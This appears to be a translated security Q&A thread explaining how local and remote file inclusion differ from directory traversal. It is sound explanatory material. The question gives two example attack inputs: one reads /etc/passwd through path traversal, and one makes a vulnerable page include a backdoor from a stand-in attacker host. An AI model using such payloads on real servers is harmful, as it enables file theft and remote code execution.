web-dev-qa-db-ja.com

ローカルファイルインクルード(LFI)とリモートファイルインクルード(RFI)の違いは何ですか?

この前の質問 に基づいて、ディレクトリトラバーサルとファイルインクルードの違いは次のようです:

ディレクトリトラバーサル

  • ユーザー入力の不適切な検証は、サーバーリソースの読み取りアクセスにつながります
  • 例:http://www.example.com?file=../../etc/passwd

ファイルを含める

  • ユーザー入力の不適切な検証は、サーバーへの外部リソースの読み込みとその実行につながります。
  • 例:http://www.example.com/vuln_page.php?file=http://www.hacker.com/backdoor

このリンク は、ローカルファイルインクルードおよびremoteという単語を使用してこれらの概念を説明していますファイルのインクルード

それで、最初の例です

  • ディレクトリトラバーサルとファイルインクルージョン

2番目の例と同じ

  • ローカルファイルのインクルードとリモートファイルのインクルード

つまり、LFI/RFIは、同じものに対して単に異なる用語ですか?

5
Zach Valenta

混乱は、ディレクトリトラバーサルについての広範囲にわたる理解に起因します。

トラバーサルとは、別のディレクトリから読み取ることができることを意味します。特に、ファイルを読み取ることができるというわけではありません。

LFIは、現在の作業ディレクトリにあるローカルファイル、またはトラバーサルを使用して別のディレクトリにあるファイルを読み取っています。

RFIには、外部ソースからのファイルが含まれています。

ディレクトリトラバーサルの脆弱性(現在のコンテキストに対してローカルなファイル)がなくても、LFIの脆弱性が存在する可能性があります。また、技術的には、LFIを引き起こさないトラバーサル脆弱性が存在する可能性があります。

4
schroeder